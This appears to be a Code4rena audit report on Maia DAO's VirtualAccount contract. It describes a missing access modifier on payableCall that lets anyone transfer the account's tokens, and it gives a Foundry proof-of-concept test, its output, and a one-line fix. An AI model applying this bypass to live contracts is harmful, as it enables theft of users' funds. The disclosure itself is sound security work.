All tokens can be stolen from VirtualAccount due to missing access modifier

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Vulnerability details

Impact

All non-native assets (ERC20 tokens, NFTs, etc.) can be stolen by anyone from a VirtualAccount using its payableCall(...) method, which lacks the necessary access control modifier requiresApprovedCaller. See also, the call(...) method which utilizes the requiresApprovedCaller modifier.
Therefore, an attacker can craft a call to e.g. ERC20.transfer(...) on behalf of the contract, like the withdrawERC20(...) method does, while bypassing access control by executing the call via payableCall(...).

As a consequence, all non-native assets of the VirtualAccount can be stolen by anyone causing a loss for its owner.

Proof of Concept

Add the code below as new test file test/ulysses-omnichain/VirtualAccount.t.sol and run it using forge test -vv --match-contract VirtualAccountTest in order to verify the above claims.

//SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;

import {VirtualAccount} from "@omni/VirtualAccount.sol";
import {PayableCall} from "@omni/interfaces/IVirtualAccount.sol";

import {ERC20} from "solmate/tokens/ERC20.sol";

import "./helpers/ImportHelper.sol";


contract VirtualAccountTest is Test {

    address public alice;
    address public bob;

    VirtualAccount public vAcc;

    function setUp() public {
        alice = makeAddr("Alice");
        bob = makeAddr("Bob");

        // create new VirtualAccount for user Alice and this test contract as mock local port
        vAcc = new VirtualAccount(alice, address(this));
    }

    function testWithdrawERC20_AliceSuccess() public {
        vm.prank(alice);
        vAcc.withdrawERC20(address(this), 1); // caller is authorized
    }

    function testWithdrawERC20_BobFailure() public {
        vm.prank(bob);
        vm.expectRevert();
        vAcc.withdrawERC20(address(this), 1); // caller is not authorized
    }

    function testWithdrawERC20_BobBypassSuccess() public {
        PayableCall[] memory calls = new PayableCall[](1);
        calls[0].target = address(this);
        calls[0].callData = abi.encodeCall(ERC20.transfer, (bob, 1));

        vm.prank(bob);
        vAcc.payableCall(calls); // caller is not authorized but it does't matter
    }


    // mock VirtualAccount call to local port
    function isRouterApproved(VirtualAccount _userAccount, address _router) external returns (bool) {
        return false;
    }
    
    // mock ERC20 token transfer
    function transfer(address to, uint256 value) external returns (bool) {
        console2.log("Transferred %s from %s to %s", value, msg.sender, to);
        return true;
    }
}

Output:

Running 3 tests for test/ulysses-omnichain/VirtualAccount.t.sol:VirtualAccountTest
[PASS] testWithdrawERC20_AliceSuccess() (gas: 15428)
Logs:
  Transferred 1 from 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f to 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea

[PASS] testWithdrawERC20_BobBypassSuccess() (gas: 18727)
Logs:
  Transferred 1 from 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f to 0x4dBa461cA9342F4A6Cf942aBd7eacf8AE259108C

[PASS] testWithdrawERC20_BobFailure() (gas: 12040)
Test result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.11ms

Tools Used

Manual review

Recommended Mitigation Steps

Add the missing requiresApprovedCaller modifier to the payableCall(...) method:

diff --git a/src/VirtualAccount.sol b/src/VirtualAccount.sol
index f6a9134..49a679a 100644
--- a/src/VirtualAccount.sol
+++ b/src/VirtualAccount.sol
@@ -82,7 +82,7 @@ contract VirtualAccount is IVirtualAccount, ERC1155Receiver {
     }
 
     /// @inheritdoc IVirtualAccount
-    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
+    function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) {
         uint256 valAccumulator;
         uint256 length = calls.length;
         returnData = new bytes[](length);

Assessed type

Access Control

[c4-pre-sort]

0xA5DF marked the issue as duplicate of #888

[c4-pre-sort]

0xA5DF marked the issue as sufficient quality report

[c4-pre-sort]

0xA5DF marked the issue as high quality report

[c4-judge]

alcueca marked the issue as satisfactory

[c4-judge]

alcueca marked the issue as selected for report

[c4-judge]

alcueca marked the issue as not selected for report

[c4-judge]

alcueca marked the issue as selected for report

[Simon-Busch]

Added the label "primary issue" as it was missing here

[c4-sponsor]

0xLightt (sponsor) confirmed

[0xBugsy]

Issue addressed at Maia-DAO/2023-09-maia-remediations@2209d6e